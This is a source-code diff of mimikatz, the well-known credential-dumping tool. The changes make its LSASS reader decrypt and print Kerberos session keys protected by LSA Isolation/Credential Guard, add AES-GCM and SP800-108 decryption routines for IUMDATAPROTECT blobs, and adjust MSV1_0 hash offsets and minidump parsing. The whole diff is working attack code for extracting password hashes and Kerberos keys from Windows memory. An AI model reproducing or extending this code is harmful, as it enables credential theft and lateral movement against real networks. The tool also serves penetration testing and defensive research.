a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c @@ -612,6 +612,7 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION KULL_M_MEMORY_ADDRESS data = {&pStruct, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aTicket = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aLsassBuffer = {tickets, pData->cLsass->hLsassMem}; DWORD nbTickets = 0; PKIWI_KERBEROS_TICKET pKiwiTicket; + KIWI_KERBEROS_BUFFER lsaIsoKey; PBERVAL BerApp_KrbCred; BOOL isNormalSessionKey; wchar_t * filename; @@ -632,6 +633,24 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION { isNormalSessionKey = (pData->cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_10_1507) || (pKiwiTicket->Key.Length < (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)); kuhl_m_kerberos_ticket_display(pKiwiTicket, isNormalSessionKey, FALSE); + + if(!isNormalSessionKey) + { + kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType)); + if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key + { + if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value, &lsaIsoKey.Value, &lsaIsoKey.Length)) + { + kprintf(L"\n\t * Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType)); + kprintf(L"\n\t "); + kull_m_string_wprintf_hex(lsaIsoKey.Value, lsaIsoKey.Length, 0); + kuhl_m_kerberos_ticket_freeKiwiKerberosBuffer(&pKiwiTicket->Key); + pKiwiTicket->Key = lsaIsoKey; + } + } + else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length); + } + if(isFile) if(filename = kuhl_m_sekurlsa_kerberos_generateFileName(pData->LogonId, grp, nbTickets, pKiwiTicket, MIMIKATZ_KERBEROS_EXT)) { @@ -645,16 +664,6 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION LocalFree(filename); } - if(!isNormalSessionKey) - { - kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType)); - - if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key - kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value); - else - kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length); - } - kuhl_m_kerberos_ticket_freeTicket(pKiwiTicket); } data.address = ((PLIST_ENTRY) (aTicket.address))->Flink; diff --git a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c index dd4ef959..4bdb9832 100644 --- a/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c +++ b/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c @@ -129,9 +129,9 @@ VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID const MSV1_0_PRIMARY_HELPER msv1_0_primaryHelper[] = { {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, UserName), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, ShaOwPassword), 0, 0}, - {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, align0)}, - {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, align2)}, - {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isoSize)}, + {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword)}, + {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword)}, + {FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword)}, }; const MSV1_0_PRIMARY_HELPER * kuhl_m_sekurlsa_msv_helper(PKUHL_M_SEKURLSA_CONTEXT context) diff --git a/modules/kull_m_crypto_sk.c b/modules/kull_m_crypto_sk.c new file mode 100644 index 00000000..060d6e7b --- /dev/null +++ b/modules/kull_m_crypto_sk.c @@ -0,0 +1,152 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kull_m_crypto_sk.h" + +NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm) +{ + NTSTATUS status; + DWORD cbResult; + status = BCryptOpenAlgorithmProvider(phAlgAESGCM, BCRYPT_AES_ALGORITHM, NULL, 0); + if(NT_SUCCESS(status)) + { + status = BCryptSetProperty(*phAlgAESGCM, BCRYPT_CHAINING_MODE, (PUCHAR) BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + if(NT_SUCCESS(status)) + { + status = BCryptGetProperty(*phAlgAESGCM, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthAesGcm, sizeof(DWORD), &cbResult, 0); + if(!NT_SUCCESS(status)) + PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status); + } + else PRINT_ERROR(L"BCryptSetProperty: 0x%08x\n", status); + if(!NT_SUCCESS(status)) + BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0); + } + else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status); + return status; +} + +NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108) +{ + NTSTATUS status; + DWORD cbResult; + status = BCryptOpenAlgorithmProvider(phAlgSP800108, BCRYPT_SP800108_CTR_HMAC_ALGORITHM, NULL, 0); + if(NT_SUCCESS(status)) + { + status = BCryptGetProperty(*phAlgSP800108, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthSP800108, sizeof(DWORD), &cbResult, 0); + if(!NT_SUCCESS(status)) + { + PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status); + BCryptCloseAlgorithmProvider(*phAlgSP800108, 0); + } + } + else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status); + return status; +} + +NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject) +{ + return BCryptGenerateSymmetricKey(hAlgSP800108, phKeySP800108, pbKeyObject, ObjectLengthSP800108, BootKey, cbBootKey, 0); +} + +NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject) +{ + BOOLEAN bIsAlgAESGCM = FALSE, bIsAlgSP800108 = FALSE; + NTSTATUS status; + + status = SkpOpenAesGcmProvider(phAlgAESGCM, pObjectLengthAesGcm); + if(NT_SUCCESS(status)) + { + bIsAlgAESGCM = TRUE; + status = SkpOpenKdfProvider(phAlgSP800108, pObjectLengthSP800108); + if(NT_SUCCESS(status)) + { + bIsAlgSP800108 = TRUE; + if(*pbKeyObject = (PUCHAR) LocalAlloc(LPTR, *pObjectLengthSP800108)) + { + status = SkpImportMasterKeyInKdf(BootKey, cbBootKey, *phAlgSP800108, *pObjectLengthSP800108, phKeySP800108, *pbKeyObject); + if(!NT_SUCCESS(status)) + { + PRINT_ERROR(L"SkpImportMasterKeyInKdf: 0x%08x\n", status); + LocalFree(pbKeyObject); + } + } + } + else PRINT_ERROR(L"SkpOpenKdfProvider: 0x%08x\n", status); + } + else PRINT_ERROR(L"SkpOpenAesGcmProvider: 0x%08x\n", status); + + if(!NT_SUCCESS(status)) + { + if(bIsAlgAESGCM) + BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0); + if(bIsAlgSP800108) + BCryptCloseAlgorithmProvider(*phAlgSP800108, 0); + } + return status; +} + +NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey) +{ + ULONG cbResult; + BCryptBuffer Buffers[] = { + {sizeof(BCRYPT_SHA256_ALGORITHM), KDF_HASH_ALGORITHM, BCRYPT_SHA256_ALGORITHM}, + {cbLabel, KDF_LABEL, cLabel}, + {cbContext, KDF_CONTEXT, pContext} + }; + BCryptBufferDesc ParameterList = {BCRYPTBUFFER_VERSION, ARRAYSIZE(Buffers), Buffers}; + return BCryptKeyDerivation(hKey, &ParameterList, pbDerivedKey, cbDerivedKey, &cbResult, 0); +} + +NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt) +{ + NTSTATUS status; + BCRYPT_ALG_HANDLE hAlgAESGCM, hAlgSP800108; + BCRYPT_KEY_HANDLE hKeyAESGCM, hKeySP800108; + ULONG ObjectLengthAesGcm, ObjectLengthSP800108, cbResult; + UCHAR *pbKeyObjectAES, *pbKeyObjectSP800108, DerivedKey[32], pbIV[12] = {0}; + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info; + PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt; + + __try + { + status = SkpInitSymmetricEncryption(BootKey, cbBootKey, &hAlgAESGCM, &ObjectLengthAesGcm, &hAlgSP800108, &ObjectLengthSP800108, &hKeySP800108, &pbKeyObjectSP800108); + if(NT_SUCCESS(status)) + { + status = SkpDeriveSymmetricKey(hKeySP800108, IUMDATAPROTECT, sizeof(IUMDATAPROTECT), pKdfContext, cbKdfContext, DerivedKey, sizeof(DerivedKey)); + if(NT_SUCCESS(status)) + { + if(pbKeyObjectAES = (PUCHAR) LocalAlloc(LPTR, ObjectLengthAesGcm)) + { + status = BCryptGenerateSymmetricKey(hAlgAESGCM, &hKeyAESGCM, pbKeyObjectAES, ObjectLengthAesGcm, DerivedKey, sizeof(DerivedKey), 0); + if(NT_SUCCESS(status)) + { + BCRYPT_INIT_AUTH_MODE_INFO(info); + info.pbNonce = pbIV; + info.cbNonce = sizeof(pbIV); + info.pbAuthData = pbAuthData; + info.cbAuthData = cbAuthData; + info.pbTag = pbTag; + info.cbTag = cbTag; + status = cryptFunc(hKeyAESGCM, pbInput, cbInput, &info, pbIV, sizeof(pbIV), pbOutput, cbOutput, &cbResult, 0); + BCryptDestroyKey(hKeyAESGCM); + } + else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", status); + LocalFree(pbKeyObjectAES); + } + } + else PRINT_ERROR(L"SkpDeriveSymmetricKey: 0x%08x\n", status); + BCryptDestroyKey(hKeySP800108); + LocalFree(pbKeyObjectSP800108); + BCryptCloseAlgorithmProvider(hAlgSP800108, 0); + BCryptCloseAlgorithmProvider(hAlgAESGCM, 0); + } + else PRINT_ERROR(L"SkpInitSymmetricEncryption: 0x%08x\n", status); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"Skp Crypto without CNG?\n"); + } + return status; +} \ No newline at end of file diff --git a/modules/kull_m_crypto_sk.h b/modules/kull_m_crypto_sk.h new file mode 100644 index 00000000..103d9003 --- /dev/null +++ b/modules/kull_m_crypto_sk.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include "globals.h" +#include "kull_m_string.h" + +#if !defined(BCRYPT_SP800108_CTR_HMAC_ALGORITHM) +#define BCRYPT_SP800108_CTR_HMAC_ALGORITHM L"SP800_108_CTR_HMAC" +#define KDF_LABEL 0xD +#define KDF_CONTEXT 0xE +#define KDF_SALT 0xF +#define KDF_ITERATION_COUNT 0x10 + +extern NTSTATUS WINAPI BCryptKeyDerivation(IN BCRYPT_KEY_HANDLE hKey, IN OPTIONAL BCryptBufferDesc *pParameterList, OUT PUCHAR pbDerivedKey, IN ULONG cbDerivedKey, OUT ULONG *pcbResult, IN ULONG dwFlags); +#endif + +#define IUMDATAPROTECT "IUMDATAPROTECT" +typedef NTSTATUS (WINAPI * PBCRYPT_ENCRYPT) (__inout BCRYPT_KEY_HANDLE hKey, __in_bcount_opt(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in_opt VOID *pPaddingInfo, __inout_bcount_opt(cbIV) PUCHAR pbIV, __in ULONG cbIV, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); + +NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm); +NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108); +NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject); +NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject); +NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey); +NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt); \ No newline at end of file diff --git a/modules/kull_m_file.c b/modules/kull_m_file.c index cf92a5be..cf4baba2 100644 --- a/modules/kull_m_file.c +++ b/modules/kull_m_file.c @@ -96,7 +96,7 @@ BOOL kull_m_file_readData(PCWCHAR fileName, PBYTE * data, PDWORD lenght) // for if(!(reussite = kull_m_string_quick_base64_to_Binary(fileName, data, lenght))) PRINT_ERROR_AUTO(L"kull_m_string_quick_base64_to_Binary"); } - else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE) + else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE) { if(GetFileSizeEx(hFile, &filesize) && !filesize.HighPart) { diff --git a/modules/kull_m_minidump.c b/modules/kull_m_minidump.c index 49787bdc..d991c655 100644 --- a/modules/kull_m_minidump.c +++ b/modules/kull_m_minidump.c @@ -38,7 +38,7 @@ LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva) return (PBYTE) (hMinidump->pMapViewOfFile) + rva; } -LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type) +LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize) { ULONG32 i; PMINIDUMP_DIRECTORY pStreamDirectory = (PMINIDUMP_DIRECTORY) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->StreamDirectoryRva); @@ -46,7 +46,11 @@ LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STR for(i = 0; i < ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->NumberOfStreams; i++) { if(pStreamDirectory[i].StreamType == type) + { + if(pSize) + *pSize = pStreamDirectory[i].Location.DataSize; return kull_m_minidump_RVAtoPTR(hMinidump, pStreamDirectory[i].Location.Rva); + } } return NULL; } @@ -62,7 +66,7 @@ BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destin PMINIDUMP_MEMORY_DESCRIPTOR64 memory64; ULONG64 offsetToRead, offsetToWrite, lengthToRead, lengthReaded = 0; - if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream)) + if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL)) { ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, myDir->BaseRva); for(nMemory64 = 0; nMemory64 < myDir->NumberOfMemoryRanges; nMemory64++, ptr += memory64->DataSize) @@ -105,7 +109,7 @@ LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump ULONG64 nMemory64, previousPtr = 0, previousSize = 0, size = 0; PMINIDUMP_MEMORY_DESCRIPTOR64 memory64; - myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream); + myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL); if(myDir) { ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_MEMORY64_LIST) myDir)->BaseRva); diff --git a/modules/kull_m_minidump.h b/modules/kull_m_minidump.h index 4001f1b6..9785f9e6 100644 --- a/modules/kull_m_minidump.h +++ b/modules/kull_m_minidump.h @@ -17,5 +17,5 @@ BOOL kull_m_minidump_close(IN PKULL_M_MINIDUMP_HANDLE hMinidump); BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destination, IN VOID *Source, IN SIZE_T Length); LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva); -LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type); +LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize); LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump, IN VOID *Source, IN SIZE_T Length); \ No newline at end of file diff --git a/modules/kull_m_process.c b/modules/kull_m_process.c index 7e6896bb..6ee8576b 100644 --- a/modules/kull_m_process.c +++ b/modules/kull_m_process.c @@ -200,7 +200,7 @@ NTSTATUS kull_m_process_getVeryBasicModuleInformations(PKULL_M_MEMORY_HANDLE mem case KULL_M_MEMORY_TYPE_PROCESS_DMP: moduleInformation.NameDontUseOutsideCallback = &moduleName; - if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream)) + if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream, NULL)) { for(i = 0; (i < pMinidumpModuleList->NumberOfModules) && continueCallback; i++) { @@ -316,7 +316,7 @@ NTSTATUS kull_m_process_getMemoryInformations(PKULL_M_MEMORY_HANDLE memory, PKUL status = STATUS_SUCCESS; break; case KULL_M_MEMORY_TYPE_PROCESS_DMP: - if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream)) + if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream, NULL)) { for(i = 0; (i < maListeInfo->NumberOfEntries) && continueCallback; i++) {